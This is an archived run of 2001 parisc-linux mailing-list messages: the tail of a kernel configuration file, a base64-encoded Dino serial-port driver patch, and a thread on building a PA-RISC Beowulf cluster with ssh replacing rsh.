# CONFIG_SCSI_INITIO is not set
# CONFIG_SCSI_INIA100 is not set
# CONFIG_SCSI_PPA is not set
# CONFIG_SCSI_IMM is not set
# CONFIG_SCSI_NCR53C406A is not set
# CONFIG_SCSI_NCR53C7xx is not set
# CONFIG_SCSI_NCR53C8XX is not set
CONFIG_SCSI_SYM53C8XX=y
CONFIG_SCSI_NCR53C8XX_DEFAULT_TAGS=8
CONFIG_SCSI_NCR53C8XX_MAX_TAGS=32
CONFIG_SCSI_NCR53C8XX_SYNC=20
# CONFIG_SCSI_NCR53C8XX_PROFILE is not set
# CONFIG_SCSI_NCR53C8XX_IOMAPPED is not set
# CONFIG_SCSI_NCR53C8XX_PQS_PDS is not set
# CONFIG_SCSI_PAS16 is not set
# CONFIG_SCSI_PCI2000 is not set
# CONFIG_SCSI_PCI2220I is not set
# CONFIG_SCSI_PSI240I is not set
# CONFIG_SCSI_QLOGIC_FAS is not set
# CONFIG_SCSI_QLOGIC_ISP is not set
# CONFIG_SCSI_QLOGIC_FC is not set
# CONFIG_SCSI_QLOGIC_1280 is not set
# CONFIG_SCSI_SIM710 is not set
# CONFIG_SCSI_SYM53C416 is not set
# CONFIG_SCSI_DC390T is not set
# CONFIG_SCSI_T128 is not set
# CONFIG_SCSI_U14_34F is not set

#
# Network device support
#
CONFIG_NETDEVICES=y

#
# ARCnet devices
#
# CONFIG_ARCNET is not set
# CONFIG_DUMMY is not set
# CONFIG_BONDING is not set
# CONFIG_EQUALIZER is not set
# CONFIG_TUN is not set
# CONFIG_NET_SB1000 is not set

#
# Ethernet (10 or 100Mbit)
#
CONFIG_NET_ETHERNET=y
CONFIG_LASI_82596=y
# CONFIG_NET_VENDOR_3COM is not set
# CONFIG_LANCE is not set
# CONFIG_NET_VENDOR_SMC is not set
# CONFIG_NET_VENDOR_RACAL is not set
# CONFIG_DEPCA is not set
# CONFIG_HP100 is not set
# CONFIG_NET_ISA is not set
CONFIG_NET_PCI=y
# CONFIG_PCNET32 is not set
# CONFIG_ADAPTEC_STARFIRE is not set
# CONFIG_APRICOT is not set
# CONFIG_CS89x0 is not set
CONFIG_TULIP=y
# CONFIG_DE4X5 is not set
# CONFIG_DGRS is not set
# CONFIG_DM9102 is not set
# CONFIG_EEPRO100 is not set
# CONFIG_EEPRO100_PM is not set
# CONFIG_LNE390 is not set
# CONFIG_NATSEMI is not set
# CONFIG_NE2K_PCI is not set
# CONFIG_NE3210 is not set
# CONFIG_ES3210 is not set
# CONFIG_8139TOO is not set
# CONFIG_RTL8129 is not set
# CONFIG_SIS900 is not set
# CONFIG_EPIC100 is not set
# CONFIG_SUNDANCE is not set
# CONFIG_TLAN is not set
# CONFIG_VIA_RHINE is not set
# CONFIG_WINBOND_840 is not set
# CONFIG_HAPPYMEAL is not set
# CONFIG_NET_POCKET is not set

#
# Ethernet (1000 Mbit)
#
# CONFIG_ACENIC is not set
# CONFIG_HAMACHI is not set
# CONFIG_SK98LIN is not set
# CONFIG_FDDI is not set
# CONFIG_PLIP is not set
# CONFIG_PPP is not set
# CONFIG_SLIP is not set

#
# Wireless LAN (non-hamradio)
#
# CONFIG_NET_RADIO is not set

#
# Token Ring devices
#
# CONFIG_TR is not set
# CONFIG_NET_FC is not set

#
# Wan interfaces
#
# CONFIG_WAN is not set

#
# Input core support
#
# CONFIG_INPUT is not set

#
# Character devices
#
CONFIG_VT=y
CONFIG_VT_CONSOLE=y
CONFIG_GSC_PS2=y
# CONFIG_HIL is not set
CONFIG_SERIAL=y
# CONFIG_SERIAL_CONSOLE is not set
CONFIG_SERIAL_GSC=y
# CONFIG_SERIAL_EXTENDED is not set
# CONFIG_SERIAL_NONSTANDARD is not set
CONFIG_UNIX98_PTYS=y
CONFIG_UNIX98_PTY_COUNT=256
CONFIG_PRINTER=y
# CONFIG_LP_CONSOLE is not set
# CONFIG_PPDEV is not set

#
# I2C support
#
# CONFIG_I2C is not set

#
# Mice
#
# CONFIG_BUSMOUSE is not set
CONFIG_MOUSE=y
CONFIG_PSMOUSE=y
# CONFIG_82C710_MOUSE is not set
# CONFIG_PC110_PAD is not set

#
# Joysticks
#
# CONFIG_JOYSTICK is not set
# CONFIG_QIC02_TAPE is not set

#
# Watchdog Cards
#
# CONFIG_WATCHDOG is not set
CONFIG_GENRTC=y
# CONFIG_INTEL_RNG is not set
# CONFIG_NVRAM is not set
# CONFIG_RTC is not set
# CONFIG_DTLK is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set

#
# Ftape, the floppy tape device driver
#
# CONFIG_FTAPE is not set
# CONFIG_AGP is not set
# CONFIG_DRM is not set

#
# Multimedia devices
#
# CONFIG_VIDEO_DEV is not set

#
# File systems
#
# CONFIG_QUOTA is not set
# CONFIG_AUTOFS_FS is not set
# CONFIG_AUTOFS4_FS is not set
# CONFIG_ADFS_FS is not set
# CONFIG_ADFS_FS_RW is not set
# CONFIG_AFFS_FS is not set
# CONFIG_HFS_FS is not set
# CONFIG_BFS_FS is not set
# CONFIG_FAT_FS is not set
# CONFIG_MSDOS_FS is not set
# CONFIG_UMSDOS_FS is not set
# CONFIG_VFAT_FS is not set
# CONFIG_EFS_FS is not set
# CONFIG_JFFS_FS is not set
# CONFIG_CRAMFS is not set
# CONFIG_RAMFS is not set
CONFIG_ISO9660_FS=y
# CONFIG_JOLIET is not set
# CONFIG_MINIX_FS is not set
# CONFIG_NTFS_FS is not set
# CONFIG_NTFS_RW is not set
# CONFIG_HPFS_FS is not set
CONFIG_PROC_FS=y
# CONFIG_DEVFS_FS is not set
# CONFIG_DEVFS_MOUNT is not set
# CONFIG_DEVFS_DEBUG is not set
# CONFIG_DEVPTS_FS is not set
# CONFIG_QNX4FS_FS is not set
# CONFIG_QNX4FS_RW is not set
# CONFIG_ROMFS_FS is not set
CONFIG_EXT2_FS=y
# CONFIG_SYSV_FS is not set
# CONFIG_SYSV_FS_WRITE is not set
# CONFIG_UDF_FS is not set
# CONFIG_UDF_RW is not set
# CONFIG_UFS_FS is not set
# CONFIG_UFS_FS_WRITE is not set

#
# Network File Systems
#
# CONFIG_CODA_FS is not set
CONFIG_NFS_FS=y
# CONFIG_NFS_V3 is not set
CONFIG_ROOT_NFS=y
# CONFIG_NFSD is not set
# CONFIG_NFSD_V3 is not set
CONFIG_SUNRPC=y
CONFIG_LOCKD=y
# CONFIG_SMB_FS is not set
# CONFIG_NCP_FS is not set
# CONFIG_NCPFS_PACKET_SIGNING is not set
# CONFIG_NCPFS_IOCTL_LOCKING is not set
# CONFIG_NCPFS_STRONG is not set
# CONFIG_NCPFS_NFS_NS is not set
# CONFIG_NCPFS_OS2_NS is not set
# CONFIG_NCPFS_SMALLDOS is not set
# CONFIG_NCPFS_NLS is not set
# CONFIG_NCPFS_EXTRAS is not set

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
# CONFIG_SMB_NLS is not set
# CONFIG_NLS is not set

#
# Console drivers
#

#
# Frame-buffer support
#
CONFIG_FB=y
CONFIG_DUMMY_CONSOLE=y
# CONFIG_FB_CYBER2000 is not set
CONFIG_FB_STI=y
# CONFIG_FBCON_ADVANCED is not set
CONFIG_FBCON_CFB2=y
CONFIG_FBCON_CFB4=y
CONFIG_FBCON_CFB8=y
CONFIG_FBCON_STI=y
# CONFIG_FBCON_FONTWIDTH8_ONLY is not set
# CONFIG_FBCON_FONTS is not set
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
CONFIG_STI_CONSOLE=y
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE=y
CONFIG_FBCON=y
CONFIG_FBCON_FONT=y
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
CONFIG_FONT_6x11=y
CONFIG_FONT_SUN12x22=y

#
# Sound
#
CONFIG_SOUND=y
CONFIG_SOUND_HARMONY=y
# CONFIG_SOUND_CMPCI is not set
# CONFIG_SOUND_EMU10K1 is not set
# CONFIG_SOUND_FUSION is not set
# CONFIG_SOUND_CS4281 is not set
# CONFIG_SOUND_ES1370 is not set
# CONFIG_SOUND_ES1371 is not set
# CONFIG_SOUND_ESSSOLO1 is not set
# CONFIG_SOUND_MAESTRO is not set
# CONFIG_SOUND_SONICVIBES is not set
# CONFIG_SOUND_TRIDENT is not set
# CONFIG_SOUND_MSNDCLAS is not set
# CONFIG_SOUND_MSNDPIN is not set
# CONFIG_SOUND_VIA82CXXX is not set
# CONFIG_SOUND_OSS is not set
# CONFIG_SOUND_TVMIXER is not set

#
# Kernel hacking
#
CONFIG_MAGIC_SYSRQ=y

--------------AA99F5639BE1355209CBE326--





From - Thu Nov 08 21:18:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaron Macks <aaronm@cs.brandeis.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] clustering ??
Date: Mon, 11 Jun 2001 19:02:59 -0400 (EDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <200106112302.TAA18015@eros.cs.brandeis.edu>
References: <20010611162132.A846@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620205 20703 80.91.229.3 (22 Nov 2014 01:36:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:45 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell Jr.)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 11 17:03:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from eros.cs.brandeis.edu (eros.cs.brandeis.edu [129.64.3.177])
	by dsl2.external.hp.com (Postfix) with ESMTP id 857E8482A
	for <parisc-linux@parisc-linux.org>; Mon, 11 Jun 2001 17:03:20 -0600 (MDT)
Original-Received: (from aaronm@localhost)
	by eros.cs.brandeis.edu (8.9.3/8.9.3) id TAA18015;
	Mon, 11 Jun 2001 19:02:59 -0400
In-Reply-To: <20010611162132.A846@megatonmonkey.net> from "Carlos O'Donell Jr." at Jun 11, 2001 04:21:32 PM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:11315

> If anyone else on the list is working on clustering using PA-RISC
> boxes, please share the stories.
> 
> As far as we know, we are the only group doing something as crazy
> as using unsupported PA-RISC hardware to run a beowulf.
> 
> War stories? Success stories?
Well I have a cluster of misc machines and 8 HPPA boxes, the problems
is that they are all 715/33's, so adding them to the mix is not yet
> possible.  The good news is that every other flavor of Linux I
> use(PPC, i386,i586,i686,m68k,SPARC) and Irix all play nice with each
> other and I can't figure out why HPPA linux would be much different.

As far as RSH goes, have you tried to use SSH as a transparent
standin(sometimes you need to replace rsh with 'ssh -x' for everything
to be happy.  I use LAM instead of MPICH, but replacing rsh for me is
as simple as a configure-time selection.
Aaron
http://wiglaf.cs-i.brandeis.edu




From - Thu Nov 08 21:18:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Clement MOYROUD <moyroudc@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] patch  for Dino serial port (again !)
Date: Tue, 12 Jun 2001 15:30:56 +0000
Lines: 88
Approved: news@gmane.org
Message-ID: <20010612133056.7201BD15AC@mail.esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;boundary="'ThIs-RaNdOm-StRiNg-/=_.80630276:"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620205 20707 80.91.229.3 (22 Nov 2014 01:36:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:45 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 12 07:31:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 77A5D482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Jun 2001 07:31:11 -0600 (MDT)
Original-Received: from esiee.fr (mail.esiee.fr [147.215.1.3])
	by mail.esiee.fr (Postfix) with ESMTP id 7201BD15AC
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Jun 2001 15:30:56 +0200 (CEST)
User-Agent: IMHO/0.97.1 (Webmail for Roxen)
Xref: news.gmane.org gmane.linux.ports.parisc:11316

--'ThIs-RaNdOm-StRiNg-/=_.80630276:
Content-Type: text/plain; charset=iso-8859-1
Content-Length: 790
Content-Transfer-Encoding: 8bit
MIME-Version: 1.0

Hi all !                                                              
                                                                      
Based on Grant's comments (thanks Grant !), I decided to keep the     
method used in my first patch, as the other one was making things more
complicated. So I modified the parts that needed clearing, and I make 
this patch available for you to test before commitment to cvs.        
Don't hesitate to test, as it has only been tested on a B132L+ and a  
B180. Any remarks or suggestions appreciated !                        
                                                                      
Clement MOYROUD                                                       
ESIEE Team                                                            
--'ThIs-RaNdOm-StRiNg-/=_.80630276:
Content-Disposition: attachment;filename=dinors232.patch
Content-Type: application/octet-stream
Content-Length: 4564
Content-Transfer-Encoding: base64
MIME-Version: 1.0

ZGlmZiAtTnJ1IGxpbnV4L2RyaXZlcnMvZ3NjL2Rpbm8uYyBsaW51eC5uZXcvZHJpdmVycy9nc2Mv
ZGluby5jCi0tLSBsaW51eC9kcml2ZXJzL2dzYy9kaW5vLmMJVHVlIEp1biAxMiAxNDo0OTo0MiAy
MDAxCisrKyBsaW51eC5uZXcvZHJpdmVycy9nc2MvZGluby5jCVR1ZSBKdW4gMTIgMTQ6NDk6NTkg
MjAwMQpAQCAtNjYsNiArNjYsNyBAQAogI2luY2x1ZGUgPGFzbS9pcnEuaD4JCS8qIGZvciAiZ3Nj
IiBpcnEgZnVuY3Rpb25zICovCiAjaW5jbHVkZSA8YXNtL2dzYy5oPgogCisjaW5jbHVkZSAiYnVz
ZGV2aWNlLmgiCiAKICN1bmRlZiBESU5PX0RFQlVHCiAKQEAgLTU0Miw2ICs1NDMsMjEgQEAKIAl9
CiB9CiAKK3N0YXRpYyBpbnQKK2Rpbm9fZmluZF9pcnEoc3RydWN0IGJ1c2RldmljZSAqZGlub19k
ZXYsIHN0cnVjdCBocF9kZXZpY2UgKmRldikKK3sJCisgICAgICAgIGludCBpcnE7CisgICAgICAg
IGludCBvZmYgPSAoKGludCkgZGV2LT5ocGEpICYgMHhmZmZmOworCisJc3dpdGNoIChvZmYpIHsK
KwljYXNlIDB4MTAwMDoJaXJxID0gODsgIGJyZWFrOyAvKiBQUy8yIEtleWJvYXJkIGFuZCBNb3Vz
ZSAqLworCWNhc2UgMHgzMDAwOglpcnEgPSAxMDsgYnJlYWs7IC8qIFJTMjMyICovCisJZGVmYXVs
dDogICAgICAgIGlycSA9IC0xOyBicmVhazsgLyogdW5rbm93biAqLworCX0KKworCXJldHVybiBp
cnE7Cit9CisKIHN0YXRpYyB2b2lkIF9faW5pdAogZGlub19iaW9zX2luaXQodm9pZCkKIHsKQEAg
LTgwNCwxOCArODIwLDMzIEBACiB9CiAKIHN0YXRpYyBpbnQgX19pbml0Ci1kaW5vX2NvbW1vbl9p
bml0KHN0cnVjdCBkaW5vX2RldmljZSAqZGlub19kZXYpCitkaW5vX2NvbW1vbl9pbml0KHN0cnVj
dCBocF9kZXZpY2UgKmQsIHN0cnVjdCBkaW5vX2RldmljZSAqZGlub19kZXYpCiB7CiAJaW50IHN0
YXR1czsKIAl1MzIgZWltOwogCXN0cnVjdCBnc2NfaXJxIGdzY19pcnE7CiAJc3RydWN0IHJlc291
cmNlICpyZXM7CiAKKwlzdHJ1Y3QgYnVzZGV2aWNlICpkaW5vX2J1c2RldmljZTsKKwlpbnQgcmV0
OworCiAJcGNpYmlvc19yZWdpc3Rlcl9oYmEoKHN0cnVjdCBwY2lfaGJhX2RhdGEgKikgZGlub19k
ZXYpOwogCiAJcGNpX2Jpb3MgPSAmZGlub19iaW9zX29wczsgICAvKiB1c2VkIGJ5IHBjaV9zY2Fu
X2J1cygpICovCiAJcGNpX3BvcnQgPSAmZGlub19wb3J0X29wczsKIAorCisgICAgICAgIC8qIE5l
ZWRlZCBmb3IgdGhlIHNlcmlhbCBwb3J0IHRvIHdvcmsuICovCisKKwlkaW5vX2J1c2RldmljZSA9
IGttYWxsb2Moc2l6ZW9mKHN0cnVjdCBidXNkZXZpY2UpLCBHRlBfS0VSTkVMKTsKKwlpZighZGlu
b19idXNkZXZpY2UpCisJCXJldHVybiAtRU5PTUVNOworCQorCWRpbm9fYnVzZGV2aWNlLT5uYW1l
ID0gIkRpbm8iOworCWRpbm9fYnVzZGV2aWNlLT5ocGEgPSBkLT5ocGE7CisJZGlub19idXNkZXZp
Y2UtPmZpbmRfaXJxID0gZGlub19maW5kX2lycTsKKwkKKwogCS8qCiAJKiogTm90ZTogU01QIHN5
c3RlbXMgY2FuIG1ha2UgdXNlIG9mIElSUjEvSUFSMSByZWdpc3RlcnMKIAkqKiAgIEJ1dCBpdCB3
b24ndCBidXkgbXVjaCBwZXJmb3JtYW5jZSBleGNlcHQgaW4gdmVyeQpAQCAtODU5LDYgKzg5MCwy
MSBAQAogCQlyZXR1cm4oMSk7CiAJfQogCisJLyogUmVnaXN0ZXIgYnVzZGV2aWNlIGZvciB0aGUg
c2VyaWFsIHBvcnQgKi8KKworCWRpbm9fYnVzZGV2aWNlLT5wYXJlbnRfaXJxID0gZ3NjX2lycS5p
cnE7CisJZGlub19idXNkZXZpY2UtPmVpbSA9ICgodTMyKSBnc2NfaXJxLnR4bl9hZGRyKSB8IGdz
Y19pcnEudHhuX2RhdGE7CisKKwlyZXQgPSByZWdpc3Rlcl9idXNkZXZpY2UoZCxkaW5vX2J1c2Rl
dmljZSk7CisJaWYgKHJldCkgeworCSAgICBrZnJlZShkaW5vX2J1c2RldmljZSk7CisJICAgIHJl
dHVybiByZXQ7CisJfQorCisJa2ZyZWUoZGlub19idXNkZXZpY2UtPmJ1c2Rldl9yZWdpb24pOwor
CWRpbm9fYnVzZGV2aWNlLT5idXNkZXZfcmVnaW9uID0gZGlub19kZXYtPmRpbm9fcmVnaW9uOwor
CQorCiAJLyoKIAkqKiBUaGlzIGVuYWJsZXMgRElOTyB0byBnZW5lcmF0ZSBpbnRlcnJ1cHRzIHdo
ZW4gaXQgc2VlcwogCSoqIGFueSBvZiBpdCdzIGlucHV0cyAqY2hhbmdlKi4gSnVzdCBhc3NlcnRp
bmcgYW4gSVJRCkBAIC05NDUsNyArOTkxLDcgQEAKIAkJZGlub19icmlkZ2VfaW5pdChkaW5vX2Rl
dik7CiAJfQogCi0JaWYgKGRpbm9fY29tbW9uX2luaXQoZGlub19kZXYpKQorCWlmIChkaW5vX2Nv
bW1vbl9pbml0KGQsZGlub19kZXYpKQogCQlyZXR1cm4oMSk7CiAKIAkvKgpAQCAtOTU3LDUgKzEw
MDMsMTAgQEAKIAogCXJldHVybiAwOwogfQorCisKKworCisKIAogCmRpZmYgLU5ydSBsaW51eC9k
cml2ZXJzL2dzYy9zZXJpYWwuYyBsaW51eC5uZXcvZHJpdmVycy9nc2Mvc2VyaWFsLmMKLS0tIGxp
bnV4L2RyaXZlcnMvZ3NjL3NlcmlhbC5jCVR1ZSBKdW4gMTIgMTQ6NDk6MzIgMjAwMQorKysgbGlu
dXgubmV3L2RyaXZlcnMvZ3NjL3NlcmlhbC5jCVR1ZSBKdW4gMTIgMTQ6NTA6MDYgMjAwMQpAQCAt
MzUsNiArMzUsNyBAQAogCiAjaW5jbHVkZSAiYnVzZGV2aWNlLmgiCiAKKwogc3RhdGljIGludCBz
ZXJpYWxfbGluZV9ucjsKIAogc3RhdGljIGludCBfX2luaXQgCkBAIC04Nyw5ICs4OSwxMiBAQAog
CXJldHVybiAwOwogfQogCi0KLXN0YXRpYyBzdHJ1Y3QgcGFfaW9kY19kcml2ZXIgc2VyaWFsX2Ry
aXZlcnNfZm9yW10gPSB7Ci0gIHtIUEhXX0ZJTywgMHgwNUYsIDB4MCwgMHgwMDA4MSwgMHgwLCAw
LAkJLyogQS1jbGFzcyAxODAgKi8KK3N0YXRpYyBzdHJ1Y3QgcGFfaW9kY19kcml2ZXIgc2VyaWFs
X2RyaXZlcnNfZm9yW10gPSB7ICAKKyAgIHtIUEhXX0ZJTywgMHgwMjIsIDB4MCwgMHgwMDA4Qywg
MHgwLCAwLAkJLyogQi1DbGFzcyAxMzIgJiAxODAgKi8KKwlEUklWRVJfQ0hFQ0tfSFZFUlNJT04g
KyBEUklWRVJfQ0hFQ0tfSFZFUlNJT05fUkVWICsgCisJRFJJVkVSX0NIRUNLX1NWRVJTSU9OICsg
RFJJVkVSX0NIRUNLX0hXVFlQRSwKKwkic2VyaWFsIGRldmljZSIsICJCIENsYXNzIiwgc2VyaWFs
X2luaXRfY2hpcH0sCisgICB7SFBIV19GSU8sIDB4MDVGLCAweDAsIDB4MDAwODEsIDB4MCwgMCwJ
CS8qIEEtY2xhc3MgMTgwICovCiAJRFJJVkVSX0NIRUNLX0hWRVJTSU9OICsgRFJJVkVSX0NIRUNL
X0hWRVJTSU9OX1JFViArIAogCURSSVZFUl9DSEVDS19TVkVSU0lPTiArIERSSVZFUl9DSEVDS19I
V1RZUEUsCiAJInNlcmlhbCBkZXZpY2UiLCAidW5rbm93biIsIHNlcmlhbF9pbml0X2NoaXB9LApA
QCAtMTEwLDMgKzExNSwxMSBAQAogI2VuZGlmCiAJcmVnaXN0ZXJfZHJpdmVyKHNlcmlhbF9kcml2
ZXJzX2Zvcik7CiB9CisKKworCisKKworCisKKwo=
--'ThIs-RaNdOm-StRiNg-/=_.80630276:--





From - Thu Nov 08 21:18:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] clustering ??
Date: Tue, 12 Jun 2001 09:42:52 -0400
Lines: 27
Approved: news@gmane.org
Message-ID: <20010612094252.B1917@megatonmonkey.net>
References: <20010611162132.A846@megatonmonkey.net> <200106112302.TAA18015@eros.cs.brandeis.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620206 20710 80.91.229.3 (22 Nov 2014 01:36:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:46 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Aaron Macks <aaronm@cs.brandeis.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 12 07:42:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2EA0B482A
	for <parisc-linux@parisc-linux.org>; Tue, 12 Jun 2001 07:42:07 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f5CDwQW19870;
	Tue, 12 Jun 2001 09:58:26 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f5CDgqB02004;
	Tue, 12 Jun 2001 09:42:52 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	Aaron Macks <aaronm@cs.brandeis.edu>, parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200106112302.TAA18015@eros.cs.brandeis.edu>; from aaronm@cs.brandeis.edu on Mon, Jun 11, 2001 at 07:02:59PM -0400
X-Useless-Header: oooohhmmm, chant the email mantra...
Xref: news.gmane.org gmane.linux.ports.parisc:11317

[snip]
> is that they are all 715/33's, so adding them to the mix is not yet
> possible.  The good news is that every other flavor of Linux I
> 
> As far as RSH goes, have you tried to use SSH as a transparent
> standin(sometimes you need to replace rsh with 'ssh -x' for everything
> to be happy.  I use LAM instead of MPICH, but replacing rsh for me is
> as simple as a configure-time selection.
> Aaron
> http://wiglaf.cs-i.brandeis.edu
>

Aaron,

Yes, ssh does work as a direct replacement for rsh.
However, I believed that ssh was in haitus (due to OpenSSL not working). 

With a little work the 715/33's should work.
We have various 715/33's that hobble on a leg!
If you have any serious problems just email us, or spam the list ;)

Cheers,
Carlos





From - Thu Nov 08 21:18:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] clustering ??
Date: Tue, 12 Jun 2001 09:43:28 -0400
Lines: 46
Approved: news@gmane.org
Message-ID: <20010612094328.C1917@megatonmonkey.net>
References: <KHEOKDLGAPDONGNKGOKFAEEGCAAA.jha@xs4all.nl>; <20010611162132.A846@megatonmonkey.net> <3B2692AB.16421.92BF5D@localhost>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620206 20712 80.91.229.3 (22 Nov 2014 01:36:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:46 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Pete <plaven@ozemail.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 12 07:42:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id F0953482A
	for <parisc-linux@parisc-linux.org>; Tue, 12 Jun 2001 07:42:43 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f5CDx2W19877;
	Tue, 12 Jun 2001 09:59:03 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f5CDhSu02013;
	Tue, 12 Jun 2001 09:43:28 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	Pete <plaven@ozemail.com.au>, parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3B2692AB.16421.92BF5D@localhost>; from plaven@ozemail.com.au on Tue, Jun 12, 2001 at 10:07:39PM +1000
X-Useless-Header: oooohhmmm, chant the email mantra...
Xref: news.gmane.org gmane.linux.ports.parisc:11318

On Tue, Jun 12, 2001 at 10:07:39PM +1000, Pete wrote:
> > We have a cluster of ~48 715/50 Apollo systems.
> 
> Great!! :)  I have one in the shed that I need a serial cable for... :)
> 
> > Visit: http://www.baldric.uwo.ca/index.php3
> 
> Did that.. nice site... didn't quite find out what youa re planning on 
> with the cluster... then again I'm not the most observant...
> Pete.

Pete,

We used our first PPC cluster to enumerate Prime Alternating Knots
to 18 crossings. 
http://baldric.uwo.ca/article.php3?section=baldric&article=knots

After that, it's been in use, on and off by other students.

Our second cluster, the PA-RISC system, will be used for validating some
quantum gravity research (interesting stuff).

Along with some other pet projects.

We are currently still in the setup phase.

- Putting together root tarball to use as node install
- Get rsh to work

And yes, SSH will work as a direct replacement for RSH in MPICH.

However, I believed that SSH was currently broken on PA-RISC due to OpenSSL.

Haven't tried compiling non-open SSH :)
I think we might give it a shot tonight.


Cheers,
Carlos O'Donell
-------------------------
Baldric Project
http://www.baldric.uwo.ca
-------------------------




From - Thu Nov 08 21:18:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jay Konrad <jkonrad@fonts.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] xbase clients
Date: Tue, 12 Jun 2001 17:31:23 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <200106121733551.SM00201@bhopc40002>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416620206 20714 80.91.229.3 (22 Nov 2014 01:36:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:46 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 12 09:26:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.fonts.de (unknown [212.109.160.102])
	by dsl2.external.hp.com (Postfix) with ESMTP id 89A2E482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Jun 2001 09:26:04 -0600 (MDT)
Original-Received: from bhopc40002 [10.53.102.114] by mail.fonts.de
  (SMTPD32-6.06) id A475BA3201F2; Tue, 12 Jun 2001 17:33:57 +0100
